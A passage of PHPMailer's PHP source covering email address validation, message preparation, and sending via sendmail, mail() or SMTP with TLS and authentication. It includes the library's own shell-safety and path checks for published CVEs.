     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
